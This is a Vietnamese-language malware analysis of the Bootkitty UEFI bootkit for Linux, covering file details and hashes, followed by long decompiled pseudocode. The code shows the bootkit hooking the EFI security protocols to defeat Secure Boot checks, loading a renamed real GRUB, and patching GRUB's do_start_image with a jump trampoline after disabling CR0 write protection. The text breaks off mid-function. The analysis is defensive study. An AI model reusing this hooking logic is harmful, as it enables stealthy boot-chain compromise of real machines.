Phân tích Bootkitty: Bootkit UEFI cho hệ điều hành Linux

Mục lục- Phân tích Bootkitty: Bootkit UEFI cho hệ điều hành Linux

  • Thông tin tệp
    1. Hàm nhập ModuleEntryPoint
    1. Gắn hàm do_start_image
  • hook_grub_1_mods__do_start_image_18000EFB0
  • do_start_image (hàm mục tiêu)
  • hook_grub_f1__do_start_image_18000DE20 (hàm gắn cho do_start_image)
  • hook_and_patch_kernel_18000F5C0 (cài đặt gắn cho vmlinuz)
  • hook_vmlinuz_decompress_18000DC80 (hàm gắn cho vmlinuz)
  • Các hàm liên quan đến vmlinuz
    1. Gắn hàm shim_lock_verifier_init
  • hook_grub_f2__shim_lock_verifier_init_18000C8A0
    1. Gắn hàm grub_verifiers_open
  • hook_grub_f3__grub_verifiers_open_18000C8B0
  • Các thành phần khác

Phân tích Bootkitty: Bootkit UEFI cho hệ điều hành Linux

Tài liệu tham khảo: Bootkitty: Phân tích bootkit UEFI đầu tiên dành cho Linux --- Bootkitty: Analyzing the first UEFI bootkit for Linux

Thông tin tệp

PE64
    Hệ điều hành: UEFI[AMD64, 64 bit, DLL]
    Trình liên kết: Microsoft Linker(14.36.34123)
    Trình biên dịch: Microsoft Visual C/C++(19.36.34123)[LTCG/C]
    Ngôn ngữ lập trình: C
    Công cụ phát triển: Visual Studio(2022, v17.6)
    Chữ ký: Windows Authenticode(2.0)[PKCS #7]
    Dữ liệu gỡ lỗi: Binary[Vị trí=0x00014c28,Kích thước=0x4c]
        Dữ liệu gỡ lỗi: Liên kết tệp PDB(7.0)
    Dữ liệu bổ sung: Binary[Vị trí=0x00017600,Kích thước=0x0630]
        Chứng chỉ: WinAuth(2.0)[PKCS #7]

sha1: 35adf3aed60440da7b80f3c452047079e54364c1
Đường dẫn PDB: D:\Projects\Bootkitty-Linux\x64\Release\BootKit.pdb

Dựa trên các hằng số được nhúng sẵn trong mã, có thể suy đoán môi trường thử nghiệm là Ubuntu 24.04 (Noble),

grubx64.efi sha1: 3d07ee5990cea2e3253e2ca43060cbb0c5d3ca03 vmlinuz sha1: 11fa787e8af15392b2107e64562de00bf9469079

  1. Hàm nhập ModuleEntryPoint =======================

Quy trình thực hiện như sau:

  1. Kiểm tra xem UEFI Secure Boot đã được kích hoạt chưa (lấy biến "SecureBoot")
  2. Gắn hàm FileAuthentication của giao thức _EFI_SECURITY2_ARCH_PROTOCOL
  3. Gắn hàm FileAuthenticationState của giao thức _EFI_SECURITY_ARCH_PROTOCOL
  4. Tải grubx64-real.efi (tệp gốc được lưu trữ riêng biệt, trong khi bản thân nó giả mạo tên grubx64.efi)
  5. Gắn các hàm nội bộ của grub là do_start_image

Trong quá trình hook_do_start_image tiếp tục gắn kernel vmlinuz 6. Gắn hàm nội bộ của grub là shim_lock_verifier_init 7. Gắn hàm nội bộ của grub là grub_verifiers_open

Tương ứng với hình ảnh sau bước (5)

Trích dẫn: Bootkitty: Phân tích bootkit UEFI đầu tiên dành cho Linux --- Bootkitty: Analyzing the first UEFI bootkit for Linux

EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN CTRL-"+" TRÊN BÀN PHÍM ĐỂ MỞ RỘNG]

  local_flags_180018176 = ::flags_180018176;
  parent_image_handle = ImageHandle;
  if ( (::flags_180018176 & 1) != 0 && !ImageHandle && !event_flag_18001817B )
  {
    ascii_print_180006A50(
      buffer_start,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_string,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x2Di64,
      COERCE_DOUBLE("gImageHandle != ((void *) 0)"));
    if ( gST )
    {
      console_output = gST->ConOut;
      if ( console_output )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer_start);
    }
    local_flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      secure_boot_variable = 0i64;
      while ( 1 )
        ;
    }
  }
  ::SystemTable = SystemTable;
  if ( (local_flags_180018176 & 1) != 0 && !SystemTable && !event_flag_18001817B )
  {
    ascii_print_180006A50(
      buffer_start,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_string,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x33i64,
      COERCE_DOUBLE("gST != ((void *) 0)"));
    if ( gST )
    {
      console_output_1 = gST->ConOut;
      if ( console_output_1 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_1->OutputString)(
          console_output_1,
          buffer_start);
    }
    local_flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      secure_boot_variable = 0i64;
      while ( 1 )
        ;
    }
  }
  boot_services = SystemTable->BootServices;
  gBS = boot_services;
  if ( (local_flags_180018176 & 1) != 0 && !boot_services && !event_flag_18001817B )
  {
    ascii_print_180006A50(
      buffer_start,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_string,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiBootServicesTableLib\\UefiBootServicesTableLib.c"),
      0x39i64,
      COERCE_DOUBLE("gBS != ((void *) 0)"));
    if ( gST )
    {
      console_output_2 = gST->ConOut;
      if ( console_output_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(
          console_output_2,
          buffer_start);
    }
    local_flags_180018176 = ::flags_180018176;
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      secure_boot_variable = 0i64;
      while ( 1 )
        ;
    }
  }
  runtime_services = SystemTable->RuntimeServices;
  gRT = runtime_services;
  if ( (local_flags_180018176 & 1) != 0 && !runtime_services && !event_flag_18001817B )
  {
    ascii_print_180006A50(
      buffer_start_1,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_string,
      COERCE_DOUBLE(
        "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiRuntimeServicesTableLib\\UefiRuntimeServicesTableLib.c"),
      0x29i64,
      COERCE_DOUBLE("gRT != ((void *) 0)"));
    if ( gST )
    {
      console_output_3 = gST->ConOut;
      if ( console_output_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(
          console_output_3,
          buffer_start_1);
    }
    if ( (::flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (::flags_180018176 & 0x20) != 0 )
    {
      secure_boot_variable = 0i64;
      while ( 1 )
        ;
    }
  }
  status_result = gBS->LocateProtocol(
             &EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID,
             0i64,
             (void **)&gEfiDevicePathUtilitiesProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  local_flags_180018176_1 = ::flags_180018176;
  if ( (::flags_180018176 & 1) != 0 )
  {
    if ( status_result < 0 )
    {
      if ( (::flags_180018176 & 2) != 0 )
      {
        sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_result);
        local_flags_180018176_1 = ::flags_180018176;
      }
      if ( !event_flag_18001817B )
      {
        ascii_print_180006A50(
          buffer_start_1,
          0x200u,
          "ASSERT [%a] %a(%d): %a\n",
          debug_string,
          COERCE_DOUBLE(
            "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
          0x43i64,
          COERCE_DOUBLE("!EFI_ERROR (Status)"));
        if ( gST )
        {
          console_output_4 = gST->ConOut;
          if ( console_output_4 )
            ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(
              console_output_4,
              buffer_start_1);
        }
        local_flags_180018176_1 = ::flags_180018176;
        if ( (::flags_180018176 & 0x10) != 0 )
        {
          __debugbreak();
        }
        else if ( (::flags_180018176 & 0x20) != 0 )
        {
          secure_boot_variable = 0i64;
          while ( 1 )
            ;
        }
      }
    }
    if ( (local_flags_180018176_1 & 1) != 0 && !gEfiDevicePathUtilitiesProtocol && !event_flag_18001817B )
    {
      ascii_print_180006A50(
        buffer_start,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        debug_string,
        COERCE_DOUBLE(
          "D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\UefiDevicePathLibDevicePathProtocol\\UefiDevicePathLib.c"),
        0x44i64,
        COERCE_DOUBLE("mDevicePathLibDevicePathUtilities != ((void *) 0)"));
      if ( gST )
      {
        console_output_5 = gST->ConOut;
        if ( console_output_5 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(
            console_output_5,
            buffer_start);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        secure_boot_variable = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status = gBS->LocateProtocol(&EFI_HII_STRING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiStringProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  if ( (::flags_180018176 & 1) != 0 && status < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status);
    if ( !event_flag_18001817B )
    {
      ascii_print_180006A50(
        buffer_start_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        debug_string,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x52i64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        console_output_6 = gST->ConOut;
        if ( console_output_6 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(
            console_output_6,
            buffer_start_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        secure_boot_variable = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status_1 = gBS->LocateProtocol(&EFI_HII_DATABASE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiDatabaseProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  if ( (::flags_180018176 & 1) != 0 && status_1 < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_1);
    if ( !event_flag_18001817B )
    {
      ascii_print_180006A50(
        buffer_start_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        debug_string,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x58i64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        console_output_7 = gST->ConOut;
        if ( console_output_7 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_7->OutputString)(
            console_output_7,
            buffer_start_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        secure_boot_variable = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  status_2 = gBS->LocateProtocol(&EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiConfigRoutingProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  if ( (::flags_180018176 & 1) != 0 && status_2 < 0 )
  {
    if ( (::flags_180018176 & 2) != 0 )
      sub_18000AF78(0x80000000i64, "\nASSERT_EFI_ERROR (Status = %r)\n", status_2);
    if ( !event_flag_18001817B )
    {
      ascii_print_180006A50(
        buffer_start_1,
        0x200u,
        "ASSERT [%a] %a(%d): %a\n",
        debug_string,
        COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdeModulePkg\\Library\\UefiHiiServicesLib\\UefiHiiServicesLib.c"),
        0x5Ei64,
        COERCE_DOUBLE("!EFI_ERROR (Status)"));
      if ( gST )
      {
        console_output_8 = gST->ConOut;
        if ( console_output_8 )
          ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_8->OutputString)(
            console_output_8,
            buffer_start_1);
      }
      if ( (::flags_180018176 & 0x10) != 0 )
      {
        __debugbreak();
      }
      else if ( (::flags_180018176 & 0x20) != 0 )
      {
        secure_boot_variable = 0i64;
        while ( 1 )
          ;
      }
    }
  }
  gBS->LocateProtocol(&EFI_HII_FONT_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiFontProtocol);// gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  gBS->LocateProtocol(&EFI_HII_IMAGE_PROTOCOL_GUID, 0i64, (void **)&gEfiHiiImageProtocol);// EFI_BOOT_SERVICES *gBS
                                                // gBS->LocateProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_LOCATE_PROTOCOL) (IN EFI_GUID *Protocol, IN VOID *Registration, OPTIONAL OUT VOID **Interface)
                                                // Protocol       Cung cấp giao thức cần tìm kiếm.
                                                // Registration   Khóa đăng ký tùy chọn được trả về từ RegisterProtocolNotify().
                                                // Interface      Khi trả về, con trỏ đến giao diện đầu tiên phù hợp với Protocol và Registration.
  loaded_image_ptr = (EFI_LOADED_IMAGE_PROTOCOL *)1;
  // Kiểm tra xem UEFI Secure Boot đã được bật chưa
  if ( !((__int64 (__fastcall *)(const wchar_t *, EFI_GUID *, _QWORD, EFI_LOADED_IMAGE_PROTOCOL **, EFI_LOADED_IMAGE_PROTOCOL **))::SystemTable->RuntimeServices->GetVariable)(
          L"SecureBoot",
          &EFI_SIMPLE_BOOT_FLAG_VARIABLE_GUID,
          0i64,
          &loaded_image_ptr,
          &secure_boot_variable) )
  {
    if ( (_BYTE)secure_boot_variable )
    {
      callback_1_18000D8A0 = (void (__fastcall *)())ret_1_18000D8A0;
      callback_1_18000D9A0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_1_18000D9A0;
      callback_0_18000D9B0 = (__int64 (__fastcall *)(_QWORD, _QWORD))ret_0_18000D9B0;
      handle = 0i64;
      if ( !original_security_FileAuthenticationState_1800181F0 )
      {
        // ///
        // /// Giao thức EFI_SECURITY2_ARCH_PROTOCOL được sử dụng để trừu tượng hóa chính sách nền tảng khỏi
        // /// nền tảng DXE. Điều này bao gồm việc đo lường hình ảnh PE/COFF trước khi gọi thực thi, so sánh
        // /// hình ảnh với chính sách (dù là danh sách trắng/danh sách đen khóa xác minh hình ảnh công khai
        // /// hoặc băm được đăng ký).
        // ///
        // struct _EFI_SECURITY2_ARCH_PROTOCOL {
        //   EFI_SECURITY2_FILE_AUTHENTICATION    FileAuthentication;
        // };
        ((void (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY2_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
          &EFI_SECURITY2_ARCH_PROTOCOL_GUID,
          0i64,
          &handle);
        // ///
        // /// Giao thức EFI_SECURITY_ARCH_PROTOCOL được sử dụng để trừu tượng hóa chính sách nền tảng cụ thể
        // /// khỏi lõi DXE. Điều này bao gồm việc khóa flash khi xác thực thất bại,
        // /// ghi nhật ký xác nhận, và các hoạt động ngoại lệ khác.
        // ///
        // struct _EFI_SECURITY_ARCH_PROTOCOL {
        //   EFI_SECURITY_FILE_AUTHENTICATION_STATE    FileAuthenticationState;
        // };
        if ( !((__int64 (__fastcall *)(EFI_GUID *, _QWORD, EFI_SECURITY_ARCH_PROTOCOL **))::SystemTable->BootServices->LocateProtocol)(
                &EFI_SECURITY_ARCH_PROTOCOL_GUID,
                0i64,
                &security_handle) )
        {
          if ( handle )
          {
            original_security2_FileAuthentication_1800181E0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _DWORD))handle->FileAuthentication;
            handle->FileAuthentication = (EFI_SECURITY2_FILE_AUTHENTICATION)hook_security2_FileAuthentication_18000D7E0;
          }
          original_security_FileAuthenticationState_1800181F0 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))security_handle->FileAuthenticationState;
          security_handle->FileAuthenticationState = (EFI_SECURITY_FILE_AUTHENTICATION_STATE)hook_security_FileAuthenticationState_18000D340;
        }
      }
    }
  }
  printf_18000857C((__int64)L"Bootkitty's Bootkit\n");
  printf_18000857C((__int64)L"- Developed By BlackCat\n");
  handle = 0i64;
  gBS->HandleProtocol(parent_image_handle, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&loaded_image_ptr);// gBS->HandleProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
                                                // Handle      Xử lý đang được truy vấn.
                                                // Protocol    ID duy nhất được xuất bản của giao thức.
                                                // Interface   Cung cấp địa chỉ nơi trả về con trỏ đến Giao diện Giao thức tương ứng.
  // \\EFI\\ubuntu\\grubx64-real.efi
  if ( (find_grubx64_180010630(num_handles, &secure_boot_variable) & 0x8000000000000000ui64) != 0i64 || !secure_boot_variable )
    return 0i64;
  status_3 = gBS->LoadImage(
               1u,
               parent_image_handle,
               (EFI_DEVICE_PATH_PROTOCOL *)secure_boot_variable,
               0i64,
               0i64,
               (EFI_HANDLE *)&interface_ptr);             // gBS->LoadImage()
                                                // EFI_STATUS(EFIAPI * EFI_IMAGE_LOAD) (IN BOOLEAN BootPolicy, IN EFI_HANDLE ParentImageHandle, IN EFI_DEVICE_PATH_PROTOCOL *DevicePath, IN VOID *SourceBuffer OPTIONAL, IN UINTN SourceSize, OUT EFI_HANDLE *ImageHandle)
                                                // BootPolicy          Nếu TRUE, cho biết rằng yêu cầu đến từ trình quản lý khởi động, và trình quản lý khởi động đang cố gắng tải FilePath như một lựa chọn khởi động. Bỏ qua nếu SourceBuffer không NULL.
                                                // ParentImageHandle   Xử lý hình ảnh của người gọi.
                                                // DevicePath          Đường dẫn tệp cụ thể của thiết bị mà từ đó hình ảnh được tải.
                                                // SourceBuffer        Nếu không NULL, con trỏ đến vị trí bộ nhớ chứa bản sao của hình ảnh sẽ được tải.
                                                // SourceSize          Kích thước tính bằng byte của SourceBuffer. Bỏ qua nếu SourceBuffer là NULL.
                                                // ImageHandle         Con trỏ đến xử lý hình ảnh được trả về được tạo khi hình ảnh được tải thành công.
  temp_status = status_3 < 0;
  if ( !status_3 )
  {
    gBS->HandleProtocol(interface_ptr, &EFI_LOADED_IMAGE_PROTOCOL_GUID, (void **)&interface_ptr_2);// gBS->HandleProtocol()
                                                // EFI_STATUS(EFIAPI * EFI_HANDLE_PROTOCOL) (IN EFI_HANDLE Handle, IN EFI_GUID *Protocol, OUT VOID **Interface)
                                                // Handle      Xử lý đang được truy vấn.
                                                // Protocol    ID duy nhất được xuất bản của giao thức.
                                                // Interface   Cung cấp địa chỉ nơi trả về con trỏ đến Giao diện Giao thức tương ứng.
    // do_start_image
    temp_result = hook_grub_1_mods__do_start_image_18000EFB0(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
    temp_status = temp_result < 0;
    if ( !temp_result )
    {
      // shim_lock_verifier_init 
      temp_result_2 = hook_grub_2_shim_lock_verifier_init_18000E990(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
      temp_status = temp_result_2 < 0;
      if ( !temp_result_2 )
      {
        // grub_verifiers_open 
        temp_result_3 = hook_grub_3__grub_verifiers_open_18000E380(interface_ptr_2->ImageBase, interface_ptr_2->ImageSize);
        temp_status = temp_result_3 < 0;
        if ( !temp_result_3 )
          goto LABEL_95;
      }
    }
  }
  if ( !temp_status )
LABEL_95:
    gBS->StartImage(interface_ptr, 0i64, 0i64);           // gBS->StartImage()
                                                // EFI_STATUS(EFIAPI * EFI_IMAGE_START) (IN EFI_HANDLE ImageHandle, OUT UINTN *ExitDataSize, OUT CHAR16 **ExitData OPTIONAL)
                                                // ImageHandle    Xử lý hình ảnh sẽ được bắt đầu.
                                                // ExitDataSize   Con trỏ đến kích thước, tính bằng byte, của ExitData.
                                                // ExitData       Con trỏ đến con trỏ đến một vùng đệm dữ liệu bao gồm chuỗi Null kết thúc, tùy chọn theo sau bởi dữ liệu nhị phân bổ sung.
  return 0i64;
}

  1. Gắn hàm do_start_image =======================

hook_grub_1_mods__do_start_image_18000EFB0

Tìm kiếm thông qua mẫu nhị phân đã được mã hóa cứng

49 8B 4C 24 40 49 8B 16

Xác định vị trí section mods của grub, sau khi trích xuất mods thì tương ứng với nội dung bên trong hàm do_start_image,

unsigned __int64 __fastcall hook_grub_1_mods__do_start_image_18000EFB0(void *ImageBase, unsigned int ImageSize)
{
  // [KHAI BÁO BIẾN CỤC BỘ ĐÃ RÚT GỌN. NHẤN CTRL-"+" TRÊN BÀN PHÍM ĐỂ MỞ RỘNG]

  current_ptr = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  boundary_ptr = (char *)ImageBase + ImageSize - 8;
  if ( ImageBase >= boundary_ptr )
    return 0x800000000000000Eui64;

  // 49 8B 4C 24 40 49 8B 16

  // mods:0000000000110A5C 49 8B 4C 24 40                                mov     rcx, [r12+40h]
  // mods:0000000000110A61 49 8B 16                                      mov     rdx, [r14]
  for ( pattern_offset = pattern_180012540 - (_BYTE *)ImageBase; ; --pattern_offset )
  {
    match_count = 0;
    temp_ptr = current_ptr;
    do
    {
      current_byte = temp_ptr[pattern_offset];
      if ( current_byte != (char)0xCC && *temp_ptr != current_byte )
        break;
      ++match_count;
      ++temp_ptr;
    }
    while ( match_count < 8 );
    if ( match_count == 8 )
      break;
    if ( ++current_ptr >= boundary_ptr )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)target_address = hook_grub_f1__do_start_image_18000DE20;
  original_grub_f1_180018268 = current_ptr;
  tpl_value = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   Mức độ ưu tiên tác vụ mới.
  local_flags = flags_180018176;
  original_function_ptr = original_grub_f1_180018268;
  saved_tpl = tpl_value;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f1_180018280 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_out = gST->ConOut;
      if ( console_out )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out->OutputString)(console_out, buffer);
    }
    local_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_function_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_out_2 = gST->ConOut;
      if ( console_out_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_2->OutputString)(console_out_2, buffer_2);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f1_180018280 != original_function_ptr )
    memmove_1800064F0(backup_original_grub_f1_180018280, original_function_ptr, 0xCui64);
  function_ptr = original_grub_f1_180018268;
  cr0_value = _readcr0_();
  cr0_write_protect = BYTE2(cr0_value) & 1;
  if ( (cr0_value & 0x10000) != 0 )
    writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
  check_flags = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)function_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_3,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_out_3 = gST->ConOut;
      if ( console_out_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_3->OutputString)(console_out_3, buffer_3);
    }
    check_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_4,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_out_4 = gST->ConOut;
      if ( console_out_4 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_out_4->OutputString)(console_out_4, buffer_4);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( function_ptr != jmp_rax_trampoline_180012520 )
    // .rdata:0000000180012520 48 B8 00 00 00 00 00 00 00 00                 mov     rax, 0
    // .rdata:000000018001252A FF E0                                         jmp     rax
    memmove_1800064F0(function_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( cr0_write_protect )
  {
    cr0_value_2 = _readcr0_();
    writecr0_180001010(cr0_value_2 | 0x10000);
  }
  next_instruction_ptr = original_grub_f1_180018268 + 2;
  cr0_value_3 = _readcr0_();
  cr0_wp_enabled = BYTE2(cr0_value_3) & 1;
